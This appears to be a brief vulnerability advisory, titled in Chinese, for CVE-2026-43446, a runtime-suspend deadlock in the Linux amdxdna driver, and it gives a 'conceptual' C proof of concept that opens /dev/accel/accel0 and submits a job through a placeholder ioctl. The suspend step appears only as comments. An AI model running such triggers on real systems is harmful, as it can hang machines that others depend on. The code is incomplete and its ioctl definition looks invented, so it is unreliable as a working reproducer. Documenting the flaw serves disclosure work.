CVE-2026-43446: Linux内核amdxdna驱动运行时暂停死锁漏洞

// Conceptual PoC for triggering the deadlock // This requires a local user with access to /dev/accel/accel0 (or similar node) #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define JOB_SUBMIT _IOW('A', 0x01, struct job_args) struct job_args { void *buffer; size_t size; }; int main() { int fd = open("/dev/accel/accel0", O_RDWR); if (fd < 0) return -1; struct job_args job = {0}; // 1. Start a long-running job // This triggers the execution path where pm_runtime_resume_and_get() was called ioctl(fd, JOB_SUBMIT, &job); // 2. Trigger Runtime Suspend (e.g., via system power management commands or idle timeout) // While the job is running, if the system attempts to suspend the device, // the deadlock occurs between the suspend callback and the job execution. close(fd); return 0; }